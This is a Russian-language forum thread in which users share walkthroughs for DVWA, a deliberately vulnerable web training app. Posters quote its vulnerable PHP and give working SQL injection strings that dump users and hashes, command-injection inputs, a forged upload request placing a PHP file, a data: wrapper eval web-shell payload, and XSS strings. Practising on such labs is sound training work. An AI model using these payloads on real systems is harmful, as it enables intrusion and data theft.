Это веб-приложение - тренировочная площадка для испытания и совершенствования своих навыков в поиске и использовании веб-уязвимостей. Имеет три уровня безопасности(сложности). Поддерживает следующие виды атак: *SQL Injection *XSS (Cross Site Scripting) *LFI (Local File Inclusion) *RFI (Remote File Inclusion) *Command Execution *Upload Script *Login Brute Force *и многие другие.. Для использования необходим вебсервер + база данных MySQL Видео с наиподробнейшим описанием и инструкцией можно посмотреть здесь: http://www.youtube.com/watch?v=GzIj07jt8rM Подробности на оф.сайте: http://www.ethicalhack3r.co.uk/ Скачать dvwa v1.0.4: dvwa v1.0.4: http://sourceforge.net/projects/dvwa
Если не ошибаюсь это поддельный вебсервер для поиска бага. Вот готовые тест сайты для пентеста и проверки своих навыков: SPI Dynamics (live) - http://zero.webappsecurity.com/ Cenzic (live) - http://crackme.cenzic.com/ Watchfire (live) - http://demo.testfire.net/ Acunetix (live) - http://testphp.acunetix.com/ http://testasp.acunetix.com http://testaspnet.acunetix.com WebMaven / Buggy Bank - http://www.mavensecurity.com/webmaven Foundstone SASS tools - http://www.foundstone.com/us/resources-free-tools.asp Updated HackmeBank - http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html OWASP WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project OWASP SiteGenerator - http://www.owasp.org/index.php/Owasp_SiteGenerator Stanford SecuriBench - http://suif.stanford.edu/~livshits/securibench/ SecuriBench Micro - http://suif.stanford.edu/~livshits/work/securibench-micro/
для тех кто пытался проходить... 1) уровень "Low"->Brute force Code: $user=$_GET['username']; $pass=$_GET['password']; $pass = md5($pass); $qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';"; $result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); Обошел так: логин: admin'# пароль: можно оставить пустым, так как уязвим только логин. Вопрос: почему не сработало admin'--+ (в качестве тренировочной площадки - денвер) уровень "Medium"->Brute force Code: $user = $_GET['username']; $user = mysql_real_escape_string($user); $pass=$_GET['password']; $pass = mysql_real_escape_string($pass); $pass = md5($pass); $qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';"; $result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); Опять же уязвимость в поле логин. Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?
It's easy В SQL-Inj на medium: Code: -1 UNION SELECT 1,2 /* 1 и 2 подставляем как хотим, а вместо строк узаем HEX
Он просто не совсем полностью выложил скуль: И получаем всех юзверов. В Command Execution на Лов лвл, можно юзать дополнительно команды, разделяя их как в Линуксе так и в Винде амперсандами, пример: На выходе получаем пинг, переход в диск Ц, и список файлов и папок. Ну а дальше от фантазии зависит. ЗЫ Доступна версия 1.0.6, давайте не спим делимся опытом, кто что нашел интересного, я только начал.
Вот как я ломал 1.Low SQL-Inj Code: -1' UNION SELECT concat_ws(0x3A,user(),version(),database()),'ololo sql :D'/* Узнаем инфу, дальше: Code: -1' UNION SELECT table_name,'table' FROM information_schema.tables WHERE table_schema='dvwa'/* Тут узнали таблицы, дальше: Code: -1' UNION SELECT column_name,'column' FROM information_schema.columns WHERE table_schema='dvwa'/* Так узнаем колонки, и наконец: Code: -1' UNION SELECT concat_ws(0x3A,user_id,first_name,last_name,user,password,avatar),concat('info about ',first_name,' aka ',user) FROM users/* Юзверята 2. Low Brute Тут 2 пути: 1) Через скулю (это вооонтам наверху) достаем хэши, брутим на hashcracking,gdataonline, md5.rednoise etc, благо пароли слабые 2) Code: Логин: admin' /* Пасс: ололо админ школота Ну и угадайте что происходит 3. Low Command Execution Code: 127.0.0.1 && dir C:\ Наблюдаем пинг 127.0.0.1 и листинг диска C:\ 4. Low Upload Code: No comments aka тупо льем 5. Low File Inclusion Code: http://site/fi_content.php => инклудит файлы из корня Тут видно, что есть связка - LFI и Upload Vuln, берем сканер по хеадерам и сканим известные диры aka up, upload, uploads и находим uploads с прямым листингом 6. XSS Code: </pre><script>alert('xss :D')</script><pre>some HaCkEr Видим тупую XSS 7. BONUS: в медиум SQL-Inj: Code: -1 UNION SELECT concat_ws(0x3A,user(),version(),database()),2/* Вот такие пироги С последующими уровнями становится больше и больше фильтров, но как говорится на каждый замок - своя отмычка
Я так понял, данные вытаскиваете через SQL injection (это само собой). Я наверно не так задал вопрос: меня интересует можно ли обойти авторизацию при medium, НЕ ИСПОЛЬЗУЯ уязвимостей других разделов.
а разве mysql_real_escape_string() не учитывает кодировку? вот статья от raz0ra на эту тему __http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
Проверьте сами. Если с кодировкой Big5 заюзать урл http://127.0.0.1/dvwa/vulnerabilities/brute/?username=%a3%27+or+1=1+limit+1%23&password=111&Login=Login# Получите мессагу Welcome to the password protected area
Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую. Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал. Начал с comand exec. Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux Проходил на винде. LOW: Code: <?php if (isset($_POST["submit"])) { $target = $_REQUEST["ip"]; echo "<pre>"; echo shell_exec("ping " . $target); echo "</pre>"; } ?> Решение ip=127.0.0.1 && dir MED Code: <?php if (isset($_POST["submit"])) { $target = $_REQUEST["ip"]; $target = str_replace("&&", "", $target); $target = str_replace(";", "", $target); echo "<pre>"; echo shell_exec("ping " . $target); echo "</pre>"; } ?> Решение Вместо && можно юзать & ip=127.0.0.1 & dir HIGH Code: <?php if (isset($_POST["submit"])) { $target = $_REQUEST["ip"]; $target = str_replace("&&", "", $target); $target = str_replace(";", "", $target); $target = str_replace("-", "", $target); $target = str_replace("?", "", $target); $target = str_replace("||", "", $target); $target = str_replace("|", "", $target); $target = stripslashes($target); if ($target == ""){} else{ echo "<pre>"; echo shell_exec("ping " . $target); echo "</pre>"; } } ?> Фильтр на & Нету. Т.Е решение то же самое что и для MED Посмотрел еще upload LOW без комментов MED Code: <?php if (isset($_POST['Upload'])) { $target_path = "uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>'; } } else{ echo '<pre>Your image was not uploaded.</pre>'; } } ?> Скрипт требует чтобы $_FILES['uploaded']['type'] был "image/jpeg". Решение: Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так. Code: POST /dvwa/upload.php HTTP/1.0 User-Agent: Opera/9.22 (Windows NT 5.1; U; ru) Host: localhost Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru,en;q=0.9,ru-RU;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/dvwa/upload.php Cookie: security=medium Cookie2: $Version=1 Proxy-Connection: close Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT Content-Length: 397 ------------Wq88LdnEt7BT8nll12ssLT Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------------Wq88LdnEt7BT8nll12ssLT Content-Disposition: form-data; name="uploaded"; filename="fuck.php" Content-Type: application/octet-stream <? phpinfo(); ?> ------------Wq88LdnEt7BT8nll12ssLT Content-Disposition: form-data; name="Upload" Upload ------------Wq88LdnEt7BT8nll12ssLT-- изменяем его следующим образом: Code: POST /dvwa/upload.php HTTP/1.0 User-Agent: Opera/9.22 (Windows NT 5.1; U; ru) Host: localhost Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru,en;q=0.9,ru-RU;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/dvwa/upload.php Cookie: security=medium Cookie2: $Version=1 Proxy-Connection: close Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot Content-Length: 397 ------------P6JvptCJ2eLEJPIrEFeNot Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 ------------P6JvptCJ2eLEJPIrEFeNot Content-Disposition: form-data; name="uploaded"; filename="fuck.php" Content-Type: [B][COLOR=Red]image/jpeg[/COLOR][/B] <? phpinfo(); ?> ------------P6JvptCJ2eLEJPIrEFeNot Content-Disposition: form-data; name="Upload" Upload ------------P6JvptCJ2eLEJPIrEFeNot-- Результат: fuck.php succesfully uploaded! High Code: <?php if (isset($_POST['Upload'])) { $target_path = "uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>'; } } else{ echo '<pre>Your image was not uploaded.</pre>'; } } ?> Не разобрался. Еще пытался найти решение на sql inj Code: <?php // Retrieve data $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num=mysql_numrows($result); $i=0; while ($i < $num) { $first=mysql_result($result,$i,"first_name"); $last=mysql_result($result,$i,"last_name"); echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>"; $i++; } } ?> Тоже не понял,как эту систему пройти. Если кто разберется, отпишите. LFI/RFI не стал писать, там уж совсем просто.
Напишу тут пару моментов, вдруг будет интересно. Файл-инклуд на med можно так: ?page=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo(); XSS storaged на med - расширить уязвимое поле с именем и туда вставить js без тега <script>. Exec med так: 127.0.x.1 || dir 127.0.0.1 & dir Потому что admin' -- , это не адресная строка, чтобы пробел заменять +. На med не знаю, как сделать. CSRF med - реферер спуфинг. На high, на мой взгляд, там ничего не уязвимо. Ну и да, извините за раскопки.
Когда я в dvwa захожу с 5 разных юзеров то мне от всех приходят одинаковые куки. А я хотел бы попробовать как это подменять куки. Когда я меняю phpsesionid то я остаюсь под тем же юзером. В dvwa вообще возможно подменить куки?
Товарищи Хактивисты! А кто-нибудь прошёл SQL inj и XSS Restored на high? А то функция htmlspecialchars убивает все мои надежды в плане XSS(((